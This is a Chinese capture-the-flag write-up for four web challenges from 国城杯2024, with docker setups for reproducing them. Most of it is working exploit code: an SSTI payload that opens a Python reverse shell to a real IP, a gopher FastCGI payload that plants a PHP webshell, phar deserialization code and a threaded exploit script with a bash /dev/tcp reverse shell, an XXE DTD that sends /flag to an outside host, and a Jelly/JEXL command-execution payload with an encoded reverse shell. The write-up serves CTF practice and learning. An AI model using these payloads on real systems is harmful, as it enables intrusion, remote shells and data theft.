国城杯2024 writeup

前言

国城杯的题不错的,复现了一下4个web,顺手做了docker方便师傅复现。

PS: 图片在Github图床,加载不出请更换网络。

环境搭建

1
docker run --name ez_gallery -d -p 8080:6543 sketchpl4ne/gcb2024:ez_gallery_img

解题思路1

思路:ssti request外带出网反弹shell

首先是任意文件读,读app.py

1
info?file=/app/app.py

ssti绕waf实现rce,反弹shell:

1
/shell?shellcmd={{config|attr(%22__class__%22)|attr(%27__init__%27)|attr(%27__globals__%27)|attr(%27__getitem__%27)(%27__builtins__%27)|attr(%27__getitem__%27)(%27eval%27)(request|attr(%27GET%27)|attr(%27get%27)(%27pzh%27))}}&pzh=__import__(%27os%27).system('python+-c+\'import+socket,subprocess,os%3bs%3dsocket.socket(socket.AF_INET,socket.SOCK_STREAM)%3bs.connect(("116.62.38.71",9999))%3bos.dup2(s.fileno(),0)%3b+os.dup2(s.fileno(),1)%3b+os.dup2(s.fileno(),2)%3bp%3dsubprocess.call(["/bin/sh","-i"])%3b\'')

解题思路2

思路:其实一开始看到pyramid,就猜到是换个框架写内存马,得看doc,先鸽XD

signal

环境搭建

1
docker run --name signal -d -p 8082:80 sketchpl4ne/gcb2024:signal_img

解题思路1

思路:ssrf绕https限制,gopher打fastcgi

首先vim恢复文件得到guest用户:guest/MyF3iend

进去是个文件包含,guest.php有waf,用二次url编码绕过读文件

1
?path=php://filter/%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%35%25%36%65%25%36%33%25%36%66%25%36%34%25%36%35/resource=/tmp/hello.php

找一找,可以读StoredAccounts.php,拿到admin用户:admin/FetxRuFebAdm4nHace

admin.php进去是ssrf,必须是https开头,这里用ngrok弄一个带https的域名,反代自己的vps,再用302跳转打本地的fastcgi。

去ngrok官网注册个好,设置好token,vps下面命令起服务

1
ngork http 8080

vps再起一个python服务用来302跳转

1
2
3
4
5
6
7
8
9
10
11
12
13
from flask import Flask, redirect 
app = Flask(__name__)
@app.route('/')
def indexRedirect():
redirectUrl = 'gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH111%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/admin.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00o%04%00%3C%3Fphp%20system%28%27echo%20%22%3C%3Fphp%20%40eval%28%5C%24_POST%5B1%5D%29%3B%20%3F%3E%22%20%3E/var/www/html/shell.php%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00'
return redirect(redirectUrl)

@app.route('/test')
def test():
return "jasper"

if __name__ == '__main__':
app.run('0.0.0.0', port=8080, debug=True)

payload用gopherus生成, 注意指定文件名要存在,fastcgi的事儿,写webshell如下:

然后设置好服务,打一发payload

接着蚁剑上线,只有假flag,suid提权发现有sudo,sudo -l看到cat的可读路径使用了通配符,通过目录穿越读flag

解题思路2

用filterchain,非预期,可以看晨曦师傅的wp。

noob_unser

环境搭建

1
docker run --name noob_unser -d -p 8083:80 sketchpl4ne/gcb2024:noob_unser_img

解题思路

思路:upload_process上传临时文件+过滤器清洗数据+phar反序列化

问了道格的师傅,这题是Orange师傅的两道题结合起来了,非常巧妙。

cookie显然可以反序列化,然后有两个功能:

  1. user用户可以复制文件(filename有waf)
  2. admin用户可以rce

php upload process可以在/tmp下生成部分内容可控的sess_<sessionid>文件

然后copy是可以使用伪协议的,使用伪协议+copy将内容复制到/tmp/tmp.tmp中,同时把不可控的部分消除掉,这里用到php exit死亡绕过的知识点。

可控内容之前的upload_process_字段,添加aaaaaa后,三次base64即可置空

可控内容之后,用string.strip_tags过滤器可以全部清除掉,只需在可控部分之后加个<即可

payload构造: aaaaaa+base64_encode(base64_encode(base64_encode(payload))) + <

payload触发:

1
?filename=php://filter/string.strip_tags|convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=/tmp/sess_jasper

至此实现了/tmp/tmp.tmp任意写, 于是构造exp.phar文件,里面包含Admin类的序列化字符串,再使用phar伪协议触发反序列化,实现代码执行。

构造phar文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
class Admin{
public $code;
function __construct($code) {
$this->code = $code;
}
function __destruct() {
echo "Admin can play everything!";
eval($this->code);
}
}
@unlink("exp.phar");
$phar = new Phar("exp.phar"); // 后缀名必须为 phar,生成之后可以修改
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); // 设置stub
$o = new Admin("system(' bash -c \"bash -i >& /dev/tcp/*.*.*.*/9999 0>&1\"');");
$phar->setMetadata($o); // 将自定义的 meta-data 存入 manifest
$phar->addFromString("jasper", "123"); // 添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

$pharContent = file_get_contents('exp.phar');
$b64 = base64_encode(base64_encode(base64_encode($pharContent)));
print("bbbbbb".$b64.htmlspecialchars('<'));
?>

python脚本一键利用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
import io
import requests
import threading
import time

sessid = 'jasper1'
# url = 'http://127.0.0.1:8888/index.php'
url = "http://125.70.243.22:31293/index.php"
## read flag
phar_payload = "bbbbbbVUVRNWQyRklRV2RZTVRsSlVWVjRWVmd3VGxCVVZrSktWRVZXVTB0RGF6ZEpSRGdyUkZGd2RFRkJRVUZCVVVGQlFVSkZRVUZCUVVKQlFVRkJRVUZCTlVGQlFVRlVlbTh4VDJsS1FscEhNWEJpYVVrMlRWUndOMk42YnpCUGFVcHFZakpTYkVscWRIcFBha2w1VDJsS2VtVllUakJhVnpCdlNuazVlVnBYUm10ak1sWnFZMjFXTUVwNWF6ZEphblE1UW1kQlFVRkhjR2hqTTBKc1kyZE5RVUZCUkU5d01WSnVRWGRCUVVGT1NtcFRTV2t5UVZGQlFVRkJRVUZCUkVWNVRTOWtkbll5V1hoSE5GaE9jRXBPTHpWWmFFWlBXRGx4ZUdFMGMwRm5RVUZCUldSRFZGVkpQUT09<"
# reverse shell
# phar_payload = "bbbbbbVUVRNWQyRklRV2RZTVRsSlVWVjRWVmd3VGxCVVZrSktWRVZXVTB0RGF6ZEpSRGdyUkZGeFdFRkJRVUZCVVVGQlFVSkZRVUZCUVVKQlFVRkJRVUZDYWtGQlFVRlVlbTh4VDJsS1FscEhNWEJpYVVrMlRWUndOMk42YnpCUGFVcHFZakpTYkVscWRIcFBhbGt3VDJsS2VtVllUakJhVnpCdlNubENhVmxZVG05SlF6RnFTVU5LYVZsWVRtOUpRekZ3U1VRMGJVbERPV3RhV0ZsMlpFZE9kMHg2UlhoT2FUUXlUV2swZWs5RE5ETk5VemcxVDFSck5VbEVRU3RLYWtWcFNubHJOMGxxZERsQ1owRkJRVWR3YUdNelFteGpaMDFCUVVGRFVqRnNVbTVCZDBGQlFVNUthbE5KYVRKQlVVRkJRVUZCUVVGRVJYbE5lV2xOVG5GMGFFaElOMmhyT0Uxa1EwZFJjM2hGY1hORE1XZDBRV2RCUVVGRlpFTlVWVWs5<"

# 全局事件,用于协调线程退出
stop_event = threading.Event()

def write_session_file(session):
while not stop_event.is_set():
f = io.BytesIO(b'a' * 1024 * 50)
session.post(
url,
data={"PHP_SESSION_UPLOAD_PROGRESS": phar_payload},
files={"file": ('q.txt', f)},
cookies={'PHPSESSID': sessid}
)

def copy_to_tmp(session):
payload = "?filename=php://filter/string.strip_tags|convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=/tmp/sess_" + sessid
while not stop_event.is_set():
res = requests.get(url + payload, cookies=session.cookies)
if "Well done!" in res.text:
print("[+] 恶意phar已copy到/tmp/tmp.tmp ...")
else:
print("[-] 拷贝失败!")
if "flag" in res.text or "D0g3xGC" in res.text:
stop_event.set() ## 设置退出事件
break

def unser_phar(session):
payload = "?filename=phar:///tmp/tmp.tmp/jasper"
while not stop_event.is_set():
res = requests.get(url + payload, cookies=session.cookies)
if "flag" in res.text or "D0g3xGC" in res.text:
print(res.text)
print("[+] 利用成功!")
stop_event.set() ## 设置退出事件
break

session = requests.Session()

# 创建并启动线程
write_thread = threading.Thread(target=write_session_file, args=(session,))
write_thread.daemon = True
write_thread.start()

copy_thread = threading.Thread(target=copy_to_tmp, args=(session,))
copy_thread.daemon = True
copy_thread.start()

unser_thread = threading.Thread(target=unser_phar, args=(session,))
unser_thread.daemon = True
unser_thread.start()

# 主线程保持活跃,等待子线程结束
while not stop_event.is_set():
time.sleep(1)

easy_jelly

环境搭建

1
docker run --name easy_jelly -d -p 8081:80 sketchpl4ne/gcb2024:easy_jelly_img

PS:物理机起环境的时候注意下,lib要删除servlet-api-2.3.jar,依赖有冲突。

解题思路1

思路:非预期,xxe 盲打,有老六
exp1.xml

1
2
3
4
5
<!DOCTYPE test [
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % dtd SYSTEM "http://116.62.38.71:7777/evil.dtd">
%dtd;
]>

evil.dtd

1
2
3
<!ENTITY % all "<!ENTITY &#x25; send  SYSTEM 'http://116.62.38.71:7777/%file;'> ">
%all;
%send;

解题思路2

思路:jexl表达式注入

exp2.xml

1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="utf-8"?>
<j:jelly xmlns:j="jelly:core">
<j:getStatic var="str"
className="org.apache.commons.jelly.servlet.JellyServlet" field="REQUEST"/>
<j:break test="${str .class
.forName('javax.script.ScriptEngineManager').newInstance() .getEngineByName('js')
.eval('java.lang.Runtime.getRuntime().exec(&quot; bash -c `{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTYuNjIuMzguNzEvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}` &quot;)')}"></j:break>
</j:jelly>

另一个payload:

1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="utf-8"?>
<j:jelly xmlns:j="jelly:core">
<j:getStatic var="str"
className="org.apache.commons.jelly.servlet.JellyServlet" field="REQUEST"/> <j:whitespace>${str
.class
.forName('javax.script.ScriptEngineManager').newInstance() .getEngineByName('js')
.eval('java.lang.Runtime.getRuntime().exec(&quot; bash -c `{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTYuNjIuMzguNzEvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}` &quot;)')}</j:whitespace>
</j:jelly>

参考链接

  • 官方wp:道格安全公众号
  • 悠悠神的wp
  • p2zhh爷的wp